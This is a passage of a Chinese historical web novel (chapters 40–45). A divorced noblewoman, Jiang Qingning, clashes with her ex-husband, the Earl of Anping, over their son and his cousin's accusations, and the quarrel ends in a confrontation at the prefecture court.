“坏人!我咬死你!”荀莫离冲出来,猛地抓住姜清宁的手腕,狠狠地咬上一口。 姜清宁疼得下意识皱眉,却没将手腕抽出来。 她望着泛血痕的手腕,眼前小人闭眼惊恐地咬着她,满身防备的模样像极了一个受到惊吓的小狼崽子,姜清宁忍不住的有些心疼。 “莫离,没事了,你已经安全了。”姜清宁抬手,摸了摸他的头发。 荀莫离听到熟悉的声音,口中的力道猛地一松,睁开眼望着姜清宁的温柔的脸,心神猛地一震。 他抬手松开姜清宁的手腕,后退皱眉道:“既然是你为何不出声,你要是出声,我也不至于咬你。” 姜清宁望着倔强的小脸,神情平静:“你现在还害怕吗?” “我不怕!男子汉大丈夫什么都不怕!你不要打扰我休息!还有明天一早就把我送回去!我真的是一秒都不和你待在一起了!” 荀莫离对她怒喊一声,抬手猛地关上房门。 砰的一声巨响,将后院里的几人惊醒,众人纷纷走出房门查看情况。 “阿姐,你不睡觉怎的在这白眼狼的门外?” 姜清晞揉着眼眶走出,上前却看到姜清宁手腕上的血牙印,瞬间怒不可遏:“他平日里就是这样对你的?当真是养不熟的白眼狼!今日就该任由他被人害死!” “好了,他不过是个做噩梦的孩子,况且我也没养过他,若非太晚我是会将他送回安平伯府的。” “先休息去吧,明日一早将他送回自己熟悉的环境。” 姜清宁勉强地扯了扯嘴角,露出一抹苦笑:“大家回去继续休息吧。” 第四十章前来问罪 姜清晞心疼的握着她的手腕,带着她转身走入卧房之中。 “我帮阿姐包扎一下伤口,这小狼崽子下嘴可真狠,没准都还会留疤呢。” 荀莫离听到一道道关门的声音,口腔之中弥漫着浓重的血腥气,让他无法忽视方才发生了什么。 张嬷嬷披上外衣,走到荀莫离的房门外。 她轻叹一声道:“当年留你在安平伯府并非大小姐所愿,可你到底是个幼儿,又怎能带你去城郊道观那种苦寒的地方呢,老奴知道您心中有怨恨。” “可当初大小姐为了将您生出来,难产整整两天,连上百年的人参都用了一整支,您生出来后老夫人就要将您抱走,是大小姐后来跪在数九寒天的大雪之中整整三日,才将您成功夺回去的。” 门口满心怒气的荀莫离愣住,极其不可置信的转身看向房门,张嬷嬷的背影应在门上,说出的话成功的打到他的心底。 “为此伯爷整整半年没进大小姐的院子,所有人都说大小姐不孝,不会遵从婆母的意愿,活该不得所有人的喜欢。” “可老夫人对您不闻不问,抱过去半月里您还没满月,便整整高烧三次险些丧命,大小姐怎能看着自己亲生的孩子被人蹉跎死呢。” 荀莫离垂眸,怎么会呢,祖母说她最是喜欢他了,甚至整日里都让丫鬟小厮们带着他玩儿。 就连不喜欢的学业,都宠溺地应允他可以减少学习时间。 祖母最喜欢的就是自己,绝对是姜清宁暗中命令这老嬷嬷说话,故意地毁坏祖母在他心中的地位,想要挑拨离间他们祖孙之间的关系! “你说的这些,谁知道是真是假!”荀莫离怒声道。 “可大小姐她将您照料到两岁,就被老夫人以莫须有的罪名,要求进入道观为安平伯祈福,顺带洗清自身的罪孽。” “那是她顶撞祖母,罪有应得!”荀莫离倔强的开口反驳。 “老奴却觉得大小姐仅有的罪孽,都是安平伯府带给她的。”张嬷嬷不卑不亢的回答。 “您有自己的见解,可大小姐并未亏待过您,今日是有人蓄意拿您的性命构陷大小姐,想要将她彻底的除之而后快。” “可这满京城里,除去安平伯府,大小姐又得罪过谁呢?您曾经是个聪慧的孩子,有些话不需老奴挑明便懂得。” 张嬷嬷行之一礼道:“老奴要说的就只有这么多,无论您做出什么样的选择,老奴都只会说这一遍,您好生休息。” 荀莫离哑然的望着消失的身影,脑海之中张嬷嬷的话,无数次的环绕在脑海之中,让他的脑袋都感觉要被撑炸。 翌日。 “开门!快开门!赶紧开门!” 宁阁的房门被人猛地拍响,两个门房快步跑去,打开大门问道:“你们这是要干什么?没看到我们的房门关着吗?今日宁阁不见客。” 来人凶神恶煞的:“我们管你们见不见客人,姜清宁呢!我们家大人要见她!” 门房伸头去看,就见荀臣坐在台阶下的轿子上,一旁的随侍还拿着拐杖。 “你们等着!见与不见都要听我们大小姐的吩咐,岂有你们擅闯的道理!就算是官员私闯他人府邸,也是要被圣上问责的!” 门房在看到荀臣那刻,瞬间没了好脾气,满脸晦气地将人猛地推出去,抬手砰的一声关上房门。 “哎!你们竟然敢阻拦安平伯!果然是没有丝毫的教养!”荀府的下人怒喊,抬脚就要踹门。 宁阁的门房刚走两步,听到这话,瞬间一人抄起扫帚,一人抄起水桶,直接打开门招呼上去。 “你们放肆!”荀府下人被打了满身,又被从头到尾泼了一身冷水,顿时打了个寒战。 “胆敢私闯民宅,我等这就去报官!见不见你家主子,自然要等我家主子睡醒了再说!” “就是!你们就在这里等着吧!” 两人满身怒气地收了家伙,将府门里三层的关闭得死死的。 荀臣将这一幕看在眼中,面无表情的脸上浮现薄怒,他冷声吩咐竹息:“一炷香的时间没出来,直接破门而入!” 竹息愕然,但只能依言照做。 姜清宁与姜清晞正在花园里散步,她穿着一袭淡紫色衣裙,长发如墨披散而下,清冷的眉眼,精致的五官,白皙无暇的肌肤,浑身上下透露出与世隔绝的高贵气质。 “这花园还是太孤寂了些,不过只要阿姐多种些花草,想必来年必然春色满园关不住。” 姜清晞欢快地跑着,她穿着一身淡黄色的衣裙,发上带着精致的步摇,满脸的稚气审视可爱动人,然其中夹杂着的几丝英气,为她增添了几分巾帼不让须眉的气质出来。 “你喜欢什么花,我让管家买来种上,在为你搭一个秋千架,等花藤爬满秋千架,待秋天就能吃着果子荡秋千了。” 姜清宁宠溺地看着姜清晞的背影,眉眼间满是笑意。 “花草只能看不能吃,要不还是多种些水果吧,我喜欢吃桃子,吃梨,吃葡萄,我还喜欢吃樱桃!” 姜清晞激动地转身,仿佛已经看到满园水果的场景。 “好,那就种你喜爱的果树。”姜清宁拦住欲言又止的张嬷嬷,依言答应。 张嬷嬷望着这偌大的花园,脑中浮现满园果树的场景,不由得叫苦不迭。 恐怕明年他们宁愿给街坊邻里交流,都要种自家送的水果了。 门房们快步跑来,气愤不已道:“大小姐,安平伯来咱们府外了,他还说要是您一炷香的时间不出去,就派人把咱们的大门撞开!” 姜清宁脸上浮现怒意,从胸腔之中发出一声冷笑,吩咐人去将荀莫离叫醒,随后转身望着众人下令。 “我不犯人,贱人偏来犯我,叫上府内所有家丁,咱们去会一会这功高震主的安平伯!” 宁阁门外。 “撞门!” 荀臣在心底计算着时间,随着时间越来越久,紧闭的府门依旧没有任何的动静。 他的脸色越来越黑,怒气冲冲地吩咐竹息等人。 第四十一章打脸 姜清宁带着家丁们站在门后,听着宁阁大门外的脚步声。 她计算着时间,只听一声有力的:“开门!” 门房等人瞬间把房门打开。 只见门外的人们使尽全力地冲上来作势撞门,却在见到亲可见大开的大门之后,瞬间满身预备的力气没有地方躲,直接狠狠地冲到门槛之上。 一瞬间,哀嚎的声音遍地起伏,直接将荀臣的脸色衬得黑如锅底。 “不知安平伯到访,臣女有失远迎。”姜清宁抬步走出,站在府门之内。 荀臣充满怒气的双眸一怔,仿佛从未见过姜清宁一般,露出震惊不已的神情。 姜清宁这浑身上下透露出的贵气是怎么回事?她不是苍老的就像一个黄脸婆吗? 现在为何如此的年轻美丽,从前见到一眼都觉得厌恶的女人,在此刻却显得是那么的耀眼高贵,相比之下他现在反倒是重伤在身被人抬着出现,这让荀臣不能接受。 “安平伯这是怎么了,莫不是见到臣女,反倒是不认识了?”姜清宁略过在地上哀嚎的人,在家丁们的护卫喜爱,走出宁阁的府门。 “安平伯来得正好,我倒是有事情想要询问安平伯,为何荀莫离会出现在我的府中,又为何他会被车夫蓄意的谋害?” 姜清宁走到台阶的上方,便堪堪地稳住脚步,她眉眼间充满质问和凌厉,丝毫没有再靠近荀臣的意思。 荀臣回神,质疑地看着她:“你在说什么胡话,莫离一直由母亲细心教导,昨日还被母亲带去张府探望表妹时住下了。” “说到表妹,姜清宁你该当何罪?” 姜清宁从胸腔之中发出一声冷笑,神情极为的嘲讽:“我该当何罪?安平伯怕是不知,在接连两日之内,你的前妻险些被人溺死,你的亲子险些被人丢进悬崖摔死。” “不过我和安平伯说这些做什么,恐怕安平伯到现在都不知道莫离的下落,你若是不会养孩子大可再寻一贤妻细心教导孩子,而非任由随意一个陌生人都能将他坑骗出来。” 荀臣怒不可遏,出言训斥:“姜清宁,住口!你到底在说什么胡话!莫离可是好好地在府里待着、着、着……” “莫离?你怎么会在这个地方,你不是被祖母照料着呢吗?” 荀莫离还有什么不懂的,爹爹根本不知道他失踪了,甚至带着他出府的祖母都不知道,清漪姨姨也不知道。 原本他知道爹爹来了,还以为是来接自己的,可方才爹爹的句句话都在指认姜清宁的不是,姜清宁提了两次他失踪都没唤回爹爹的注意。 “爹爹,您不知道孩儿被人绑架了吗。”荀莫离走到姜清宁的身边,眼底满是受伤的望着荀臣。 他是想要欢欢喜喜地跑到爹爹的面前,兴高采烈地喊上一声:“爹爹!您终于来接莫离了!这个坏女人对莫离一点都不好!” 顺带该可以告姜清宁的状,让爹爹好生地教训一番姜清宁,可现在局势却发生了翻转。 荀臣惊愕地站起身,他这几日遭受政党的毒害,手下人一时不察让他中了毒,原本本就严重的剑伤更难好转。 他艰难的迈步走到荀莫离的面前,然而隔着几个台阶,荀莫离竟然选择躲到姜清宁的身后,第一次用陌生的怯懦的眼神看他。 绑架? 怎么可能! 荀莫离一直都由母亲在照料…… “儿啊,莫离到底是姜清宁那个毒妇生的,她既然一分钱的嫁妆都不肯给莫离留,你何不把莫离送回姜清宁那里让她养着?” “你可知道娶妻生子需要花费多少银子,日后母亲还要为你再择选一门温柔贤淑的妻子入门,日后你还会有自己的嫡子嫡女,荀莫离到底和你不亲。” “即便姜清宁不想养也可以,你问她要一笔赡养费,让姜清宁固定的支出给我们,母亲定然能将莫离养得白白胖胖。” 荀臣愕然,脑海中回荡着母亲的话。 心中却震惊至极,难不成母亲当真是见他不同意,所以对莫离痛下杀手? 怎么可能呢,莫离可是母亲的亲孙子啊。 “安平伯,你若是来接荀莫离的,便快些将他带走,省得某些人到最后冤枉我责打孩子,是个毒妇。” 姜清宁侧身走到一旁,将荀莫离完完整整的露出来,并且朝前方推了两步。 “但你若是为了兴师问罪而来,我不会多费口舌与你交谈,稍后我自然会和白清漪去公堂上对峙,孰是孰非自然有同知大人辨明!” “如今一切的证据都在京兆府衙摆着,我回到京城的第一时间已经前去报案,想必过不了多久,你的好表妹就会向你求救了。” 荀臣哑然地看着荀莫离,后者亦是满脸的茫然。 甚至在被张嬷嬷送到他的面前的时候,荀臣清楚地捕捉到,荀莫离脸上突然出现的惧怕和抗拒。 他今日的确是表妹派母亲回府诉苦后,知道姜清宁竟然在表妹为他上山采药的时候,蓄意地想要加害与表妹,他才会这么激动地来兴师问罪。 姜清宁做错了事,自然是该罚,即便他们之间已经没有婚约,不是夫妻。 可作为管教姜清宁八年的男人,荀臣觉得自己有这个权利。 可在走到姜清宁面前,还没有来得及兴师问罪的时候,他就被狠狠地打了脸,并且是异常响亮的一道耳光。 母亲独自回府只为替表妹诉苦,并且没有告知他莫离失踪,甚至连莫离是否失踪都未可知。 “爹爹,您当真不是来接莫离回去的吗?”荀莫离神色惶恐,有些受伤。 “莫离别多想,爹爹就是来接你回去的。”荀臣脸色和缓,抬手抚摸荀莫离的头,轻声的安慰着。 荀莫离瞬间展露笑颜,眼中浮现着明显的钦慕之情。 荀臣被这道强烈的视线注射得心虚不已。 他躲过荀莫离的眼神,转身皱眉质问姜清宁。 “莫离为何会在你这里,我看就是你思念孩子,故意的将莫离骗过来!” 第四十二章贵人出 姜清宁嗤笑一声,似是在嘲讽他的无知。 “安平伯莫不是说笑了,我平白无事地去将荀莫离骗过来作甚,还是你觉得我过得太好,想要故意地找罪受?” “对了,安平伯还没给我医药费呢。” “莫离,你受伤了吗?”荀臣连忙转身,上上下下的扫视一圈,检查荀莫离有无外伤。 “爹爹放心,莫离没事。”荀莫离乖巧地回答,眉眼弯弯好不可爱。 “错了,他昨日险些掉到悬崖里,是我府上的丫鬟冒死将他救出来。” “我家丫鬟的外伤费、衣物损失费用、荀莫离昨夜的安神汤、所用的汤食、住宁阁一晚的房租。” “这些加起来可不是一个小数目,还请安平伯先行结清。” 姜清宁眉眼含笑,朝着荀臣深伸出洁白的掌心。 荀臣狠狠皱眉,这女人莫不是掉到钱眼里面了? 就连这么一丁点的钱竟然都奢求,看她一身衣着华贵,还以为是真的过上了好日子,没想到竟然是真的都将钱财用在穿衣打扮上了。 张嬷嬷急忙的开口,上前握住姜清宁的手腕。 “大小姐怎么能这么偏心,您不能因为生过荀小公子一场,就对他过多的心软啊,昨夜荀小公子做噩梦您去哄睡,却被小公子狠狠地咬了一口,当场就鲜血淋漓,现在大片大片的青紫着实让奴婢心疼啊。” 张嬷嬷握着姜清宁的手腕哭诉,甚至将她的手腕展示到荀臣的面前。 荀臣看着她那被纱布包裹的一腕皓臂,洁白的皮肤上现在尽管被纱布包裹,都露出一圈的青紫出来,看来当真是下了死口咬地。 “真的是你做的?”荀臣脸色阴沉,转头看向荀莫离。 “谁让她欺负清漪姨姨,我就是为姨姨报仇的!” 荀莫离气愤不已,狠狠地瞪了姜清宁和张嬷嬷一眼,气得当即开始口出恶言。 “你们竟然敢告状!等我长大了定然要抄了你的府邸送给清漪姨姨,再把你和这老奴吊起来日日鞭打,等厌倦了就把你们抽筋扒皮做人皮鼓!” “啪!啪!” 荀臣抬手给了荀莫离两个耳光,他这是第一次对荀莫离出手,甚至气得浑身发抖,还有想再给他几个耳光的冲动。 “放肆!是谁教导你这么说话的!生养之恩同等于天的造化,她生你一场给予你性命,不是让你如此不忠不孝的!” 荀臣抬眼看向姜清宁,刚想要开口解释,却被她冷淡至极的目光惊愕住,一时之间不知道如何开口。 “安平伯为何这么气愤地看着我,姜氏实在是冤枉,他两岁我离府时已经会开始认三字经,被人之初性本善哄我开心。” “我姜清宁行得正坐得端,不是我做的自然不屑于承认,至于这些欺师灭祖,将母亲扒皮抽筋的话我确实是没来得及教导的。” 姜清宁眉眼清冷,毫不犹豫地开口否认。 荀臣拧眉,认真地开口:“此事背后定有刁奴教导,你放心,我一定会找出这人给你一个交代。” 姜清宁摊开掌心:“将这次的银钱结清就行,我是生意人,不做亏本的买卖。” “至于你所说的交代更不用给我,我虽然生他一场,却未尽到母亲之责,往后更不用再有任何的牵连。” 姜清宁这话说的实在是绝情,面前的父子二人浑身一震,就连张嬷嬷都露出不可置信的神情,满脸的不忍担心姜清宁日后会后悔。 “小姐,您……”张嬷嬷双眼含泪,满是不解,“小姐这又是何苦啊,非要说些离心的话,来让小公子曲解您,您明明是关心他的啊……” “安平伯是要违背生意场上的规矩吗?”姜清宁依旧保持着动作。 荀臣看向竹息,后者连忙从震惊中回神,解下腰间的钱袋递到荀臣的手中。 “你当真是掉到钱眼里面去了,为了银钱能连自己的儿子都不要。” 荀臣抬手扔了过去,不想再看姜清宁一眼。 姜清宁伸手稳稳地接住,冷笑道:“这世界上,最不能信任的就是丈夫、儿子、夫家,我不相信男人是对自己的保护,没有了你们我的生活只会更加完美。” “说得好!” 一声惊喜的高呵将姜清宁的思绪唤回来。 她惊诧地侧头去看,一辆华贵非凡的马车停在府门外,她和张嬷嬷诧异地对视一眼,二人走下台阶相迎。 “不知夫人是哪家的女眷,可是有何事?”姜清宁探究地询问。 话音落下,面前的马车门帘被掀开,里面露出一位衣着华贵,妆发得体的贵妇人。 姜清宁的视线扫到她发上的金镶玉簪子,那是皇宫里的手笔,想必是位非富即贵的存在。 她行了个晚辈礼,尊敬地开口:“晚辈姜清宁见过夫人,方才胡言乱语惊扰夫人,还望夫人见谅。” 秦国公夫人缓缓起身走出马车,在嬷嬷的搀扶下,走到姜清宁的面前,亲手将她扶起来。 “你说的乃是实话,我又有什么好怪罪的呢。”秦国公夫人摇头,欣赏不已地看着她。 “您……不觉得我说的话言行无状,甚至粗鄙,冒犯七出?” 姜清宁诧异地望着她,随着秦国公夫人的手站起身。 “倒是这位安平伯倒是让本夫人震惊不已,这年头没想到还有和离之后,上赶着去前妻家里骚扰的男人,像你这种男人本夫人见一次恶心一次!” 荀臣惊愕地看着她,大脑飞速地运转却发现他常年不在京城,连京城里面的达官显贵都认识得不全。 “还请夫人见谅,荀臣只是一时情急,这才来宁阁询问一番。”荀臣只能老老实实地认错,争取不得罪这位夫人背后的夫家。 “呵询问?方才本夫人可是远远地听到了,你因为自家表妹的一番哭诉,便直冲冲地来到、宁阁要撞门。” “夫人,荀臣只是……”荀臣急着辩解。 “你只用回答我一句话,是也不是?”秦国公夫人气场全开,眉眼满是凌厉。 “是……”荀臣冒了一头冷汗。 “你不分青红皂白的就要动手,压着她去向你的表妹认错,那你可有确凿的证据证明你表妹所说的都是实话呢?” 秦国公夫人冷哼一声,她不过是出门去求个签,回来就看到自家儿子属意的媳妇儿被人欺负。 安静地听了一会儿才发现,这完全就是对方没事找事。 秦国公夫人很生气,后果很严重! 荀臣来了理由:“表妹自幼与我一同长大,以诚待我,绝不会欺瞒于我,所以她所说荀臣可以证明绝对属实。” 姜清宁站出来,冷声开口:“那就对铺公堂吧,我和她去京兆府衙当面对质,让所有人来看一看到底是谁的错。” 第四十三章公堂对峙 “姜清宁,事到临头你还要狡辩,你个狠心毒妇竟将表妹推到水中蓄意陷害。” “定然是你嫉妒清漪有我照顾,母亲和莫离亲近,心生恶念,所以故意的陷害她!” 荀臣冷哼一声,怒从心中来。 “你明知道她现在因为你的刻意陷害,此生再也无法有孕,如今病得卧床不起,竟然还想着让表妹奔波京兆府衙与你对峙?” “姜清宁,你当真是好狠毒的心肠!” “啪!” 姜清宁毫不犹豫地抬手,直截了当的给了荀臣一耳光,一不做二不休,她几乎是刚动脑就当即再甩手。 “你……”荀臣惊愕。 “啪!”一耳光将他的话语成功止住。 姜清宁冷眼看他:“现在可以安静地听我说话了吗?” 荀莫离默默地后退一步,震惊的瞪大眼睛看着姜清宁。 他惊恐地发现与爹爹挨的耳光相比,他被打的那些简直都是挠痒痒。 他挨打事后红痕都只有一点点,可爹爹脸上的不同,此刻爹爹的脸两侧,已经飞快地红肿起来出现明显的五个指痕。 荀莫离咽了咽口水,他的娘亲当真是手无寸鸡之力吗? 怎么感觉那些都是哄小孩子的? 荀臣从惊愕中回神,他难以置信地发现,自己竟然被面无表情的姜清宁恐吓住,站在原地一声都不敢吭。 荀臣咬牙切齿,脸色通红:“你果真还是这般的粗鄙妇人,你究竟要说什么?” 姜清宁冷笑:“我只问你一句话,我是如何从张府的随侍手中,将白清漪抢到手里,并且带去京城外的荒郊野岭的?” “谁知道你用了什么阴险的手段!”荀臣底呵。 “你说我想除了她的话我认,但你要说我故意陷害她,不好意思,她白清漪还不配我姜清宁大动干戈。” “我姜清宁一生行得正坐得端,对于旁人的污言秽语只会当做没听到没看到,但若是你荀臣质疑我……只会让我恶心至极。” 姜清宁将荀臣复杂的神色看到眼中,毫不客气地展露出自己的嘲讽。 “然最不该出现的就是你,还偏偏打着为别人好的名号来教训我。” 荀臣眸光微亮,迟疑地询问:“姜清宁,你是嫉妒了吗?” 姜清宁像是听到什么极大的笑话一般,轻呵一声:“哈?你哪里值得我嫉妒,一个快三十的老男人,整日不窝在家中好好沐浴更衣,偏要出来散播你这一身的老人味。” “呕,恶心死了!” “噗!”秦国公夫人没忍住笑出声,她将身子偏向刘嬷嬷,恨不得将自己的脸埋进去。 像是这样骂自己前夫的,她当真是此生第一次看到听到,但果真是有趣极了。 秦国公夫人惋惜,可惜她没遇到过这样的男人,否则当真要借这话来骂一骂解气的。 荀臣脸上青紫交加,咬牙切齿地握紧双拳,满眼的严肃,开口厉声训斥。 “姜清宁你不要再胡闹了!现在和我一起去向清漪赔罪,我可以让她原谅你,至于孩子往后你再婚生了儿子就抱养到清漪的膝下,也算做是对她的弥补!” “不可能!”秦国公夫人心中一跳,这可是冲他们秦国公府来的啊。 几乎是顷刻间,秦国公夫人站到姜清宁的面前,抬手就狠狠地给了荀臣一个耳光。 “下作的腌臜玩意儿,你怎么不把自己再婚后生的儿子过继给你表妹?” “本夫人看你对你的表妹情真意切,何不直接让她和离跟了你,这样甭管她日后调理好身子,你们生几十个还是几百个都算作你对她的补偿!” 荀臣震惊后退:“夫人在说什么胡话,我与表妹清清白白!” 荀莫离茫然的抬头:“可是爹爹,祖母明明好多次和清漪姨姨说了,以后让你娶清漪姨姨回家,让她做莫离的娘亲呢。” “!”荀臣浑身一颤,不可置信地看着自家儿子,严肃地质问,“你说的可都是真话?” 荀莫离害怕地后退,他躲在竹息身后点头:“祖母说了好多次呢,清漪姨姨也说要把姜清宁赶走,不然祖母就要将她扒皮抽筋呢!” 姜清宁长出一口气,交叠的双手攥紧着。 “张嬷嬷,我们去京兆府衙,我姜清宁身为武将之女,何惧他人误解!” “但是使我姜家蒙羞的事情,我是万万做不出来的,咱们就让京城最大的清官去断一断,这背后的真凶究竟是谁!” 京兆府衙。 刘嬷嬷紧张地握着秦国公夫人的手,满心的不解,甚至唉声叹气。 “夫人啊,您为何非要来这里凑热闹呢,如果想要帮姜小姐,为何不让世子来英雄救美呢?” 秦国公夫人冷哼一声,满脸的不屑:“你说的就是那个,连着被轰出宁阁八次的秦国公府世子?我可不认识他,这个儿媳妇是我要替国公府娶回来的,关他秦休什么事儿。” 秦国公夫人这些天一直在等秦休的好消息,但在府中枯坐半月,终于耐不住打听一番,却意外得知她的好儿子连日拜访。 却连日被请出宁阁,丝毫不受待见,甚至送的东西都被退了回来,急得秦国公夫人嘴里长了几个水泡。 昨儿一早就去寺庙求神拜佛,甚至求了姻缘符,好好地测了两人的八字,得知是天造地设的缘分,只是需要历经一些波折后才终于放下心。 “可您背着世子爷来见姜小姐的事,恐怕是瞒不了多久的。”刘嬷嬷满脸的为难。 “瞒?为何要瞒?本夫人行得正坐得端,也不瞧瞧他都二十四了连个未婚妻都没有的,心上人都哄不到手的人,哪来的脸质问他老娘!” 秦国公夫人霸气地坐在一侧,冷哼一声表达自己的不满。 承延身着绯红色的官袍,从侧堂走出做到主位,刚抬头就看到一张张熟悉的面孔,直到和姜清宁对视。 承延不动声色的收回视线,缓缓地将目光转向一旁的秦国公夫人。 “……您怎么来了?”承延噎住,对着使眼色的秦国公夫人询问。 第四十四章早有预料 秦国公夫人淡定地放下茶盏,给承延下了颗定心丸。 “方才路过宁阁听说了一桩奇闻,特来参观参观,同知大人不必在意本夫人,本夫人绝不插手此事。” 承延颔首点头,心中长叹一声,转而看向台下。 “来者何人,所为何事?” 姜清宁不卑不亢地行礼:“臣女姜清宁见过同知大人,昨日民女被陷害落水,特命丫鬟来衙门报案调查,不知大人是否有印象?” 承延颔首:“事件按照姜小姐提供的证词与证据,已经尽数地搜查完所有事情的经过,原就是要传召姜小姐与白夫人的。” “既然姜小姐已经到来,还请稍等片刻,去传张府白夫人前来公堂,即便是晕了过去也要将人抬进来。” 承延淡淡地扫视一眼下方欲言又止的荀臣,直接开口打断了他想要脱口而出的话。 荀臣皱眉:“承大人,我家表妹落水受惊,如今又因姜清宁蓄意陷害难以有孕,我想应该已经能就此断案了吧?” 殊不知,崔砚听到他的话,顿时对主簿招手,摘下自己的令牌递到他的手中。 “去皇宫请太医院的妇科圣手章太医来,是否真的难以有孕,一测便知,刚好安平伯对于张夫人关怀备至,也可让章太医为张夫人诊治一下。” 荀臣张了张嘴,走到一边没有再开口。 张府。 白清漪虚弱地躺在床上,接受着大夫的诊脉。 片刻之后,大夫收起工具,走到张礼的身旁,战战兢兢地躬身行礼。 “启禀张大人,张夫人如今落水受惊,加上原先体弱多病,此后再难有身孕。” 张礼身着一袭墨黑色的长袍,站在窗边似是在望着外面的晨景,他的眸中带着几分淡漠,看起来就像是冰山上的一块寒玉。 “多谢大夫,还请为我家夫人好生的写上一张养身体的药方子。” 管家递去银两,将人送出去。 白清漪将视线转到一声不吭的张礼身上,柔美苍白的面上带着三分痛恨。 她咳嗽着坐起身,望着窗边长身玉立的男人。 白清漪红着眼眶,哽咽地开口:“夫君,你我夫妻多年,我未能替你诞下一儿半女,如今身子更是毁了再也不能生产。” 张礼身形微动,转身看向她:“你想说什么?” 白清漪背脊一僵,慌慌地对上他冰冷的视线,竟然有种背后冷汗直冒的感觉。 “我是想说,不如我为夫君选上两位好人家的女儿,抬入府中做贵妾,到时候生下儿子再抱到我的膝下充做嫡子,我定会当成自己的亲生儿子教养的。” 白清漪言辞恳切,就差抬手立誓。 “夫人不必多想,我此生唯你一人足矣,断不会娶妻纳妾,届时过继一位兄弟的子嗣便可。” 张礼平静地和她对视,眼眸之中深沉似海。 白清漪还欲多言,管家快步进入房中,对着张礼行礼道:“大公子,京兆府衙的衙役来接大夫人前去问话。” 白清漪放在锦被上的手猛然握紧,眼眸之中阴鸷一闪而过,她为难地开口:“同知大人传话我自然要去,只是我这身子……” 管家急忙补充:“同知大人有令,夫人即便是晕了过去,都要抬到府衙里面,大人已经去请太医院的章太医为夫人诊脉了。” 白清漪手足无措:“可、可是、可是……” “既然如此,那就去走上一遭吧,夫人莫怕,为夫会陪着你一起去。”张礼开口,打断白清漪最后的希冀。 京兆府衙。 白清漪心如死灰的被抬入堂中,她在对上姜清宁目光的时候,瞬间眼眶一红,身子瑟缩地想要躲避。 姜清宁挑眉看着她的表演,精致的眉眼中满是讽刺。 “这还没到升堂呢,白夫人就演上了?” 张礼和承延见礼,听到陌生又熟悉的声音,他循着视线看去,瞳孔瞬间狠狠地一缩。 “表妹,你可有事?”荀臣回到堂中,身后跟着的是章太医。 “表哥,你来看我吗?”白清漪惊喜地询问,在看到他身后人时,迟疑地开口,“表哥,这位是?” 荀臣颔首示意:“这位是太医院的妇科圣手章太医,有他为你诊治,表妹不必担心。” “表哥,连你也不相信我吗?”白清漪身形一震,悲伤不已。 “肃静!”承延开口,堂中瞬间安静下来。 他不悦地开口:“这里是府衙,要是想叙话还请二位案件了结之后出去说,还请张夫人现在,就将昨日之事一一讲出。” 白清漪浑身一震,泫然欲泣:“大人有所不知,我昨日去安神堂把脉调理身体,却偶然得知郊外有一株草药,对于治表哥身上的剑伤有奇效。” “我与表哥自幼一同长大,情分非他人所能比较,自然是想要去采摘的,可谁知偶然遇到这姜氏,她嫉妒我与表哥姨母和她亲子感情好,便故意将我推入水中……险些丧命。” “我若非福大命大,在湍急的水流中抓住下人递来的树枝,恐怕早已命丧黄泉,可如今虽然捡回一命却再也不能生育,呜呜呜……” 白清漪一时悲伤,哀戚地哭了起来,将在场的氛围衬得悲哀不已。 承延皱眉:“你带了那么多的人手,为何没人趁机抓住姜小姐?” 白清漪一顿,垂眸啜泣道:“她趁将我推入水中之后,自己也跳了进去,甚至想要溺死我,而府中仆人慌忙救主,竟然也让她逃了。” 承延看向白清漪,皱眉询问:“张夫人既然被人推入水中险些丧命,为何不来报官,反倒是张夫人口中的加害者报官呢?” 白清漪摇头:“大人有所不知,我从小心地善良,想着她或许是一时糊涂,这才只是和表哥与姨母说了,并且约束下人不得多嘴,却没想到恶人竟然先倒打一耙!” “啪啪啪!” 姜清宁抬手鼓掌,对她的话称赞不已:“不愧是才女,即便是扯起谎来,也说得头头是道。” “若非我现将证据呈上,恐怕今日当真是要着了你的道了。” 第四十五章阴阳怪气 白清漪眼中一闪而过慌乱的神色,她紧张地望着姜清宁,秀丽的眉头微微蹙起,被婢女桃儿扶着起身上前。 白清漪柔弱地对着承延行礼,苍白的神情满是难堪。 “同知大人有所不知,我本应该不欲多言,可事到如今被人污蔑,我却不得不开口诉苦了。” 承延神情淡漠,冷眸不带一丝感情的看着她:“你所说的,可是有何苦楚,又有认证在吗?” 白清漪心中一喜,激动上前:“有的,我的婢女随我日日住在安平伯府,自然是知晓姜清宁的作风的,她此人早就行为……” 张管家听着这话眼中闪过嫌恶,半晌看向已经知道事情全貌的张礼。 大公子究竟会如何抉择? 究竟是帮助自家夫人掩藏做过的恶事,还是会帮姜小姐还她一个公道呢? “如果单单只是婢女指认的话,那到底是不作数的。”承延拍案呵止,冷眼看着白清漪,这话令白清漪惊惶地抬眼,满脸的不解。 白清漪惊愕:“为何?” 承延摇头:“你所说的婢女,就是你的随侍丫鬟?” 白清漪急忙解释:“小桃自幼随我一同长大,自然是能够相信的。” 姜清宁没错过神情之中满是慌乱的白清漪,她步步紧逼的上前。 “怎么,张夫人不相信我所说的话吗?” “我怎的感觉张夫人好像……心虚起来了呢?” 姜清宁微微皱眉,神情讥讽,满眼探寻地凑近,望着脖颈瑟缩的白清漪。 “姜清宁,你不要太过分了。”荀臣站在白清漪的身前,紧紧地将人护在身后。 “安平伯所言非也,谁人不知这婢女是张夫人的陪嫁丫鬟,张夫人说什么她便承认什么,自古忠仆便是由此而来。” “况且安平伯身为朝廷官员,难不成这点道理都不懂的,是铁了心地要偏心自己的家眷吗,你可知律法在前容不得你徇私舞弊?” 承延脸色甚是不好看,他将荀臣青白交加的脸色映入眼帘,却丝毫不给他任何反驳的机会,直接抬手吩咐。 “去安平伯府随机地抽查几个下人来,这种事情自然要听旁观者的态度才是。” 白清漪听到这话,稍稍的放下心来,柔弱无骨的开口:“不若大人将我的姨母安平伯老夫人一同请来,她作为姜小姐之前的婆婆,自然也是有很多的话想要说的。” 承延略微思考一下便点头应允了,他抬手指挥主簿,后者立刻召集人去请。 “这事关姜小姐的名声,与张夫人的话能否相信,只要这件事分出结果,但此案件便可了结了。” 姜清宁闻言上前,跪地行礼:“大人,此案不仅事关臣女的名声,更关乎到我姜家儿女的清白和信用,清宁请求和张夫人辩论,以此证明自身的清白。” 白清漪忽然慌张起来,她茫然地抬眼看向荀臣,后者安慰地拍了拍她的手,示意她放心。 忽然一道刺人的视线直逼而来,令白清漪忽然心悸,她想到什么惊惶地转头看去,就见张礼此刻似笑非笑的,盯着表兄妹二人紧紧交握的手。 白清漪想到八年前的大婚日,她当时只不过是醉酒喊了句表哥,就被这张礼刻意地冷落了八年,如今这握个手还不知有什么在等着自己。 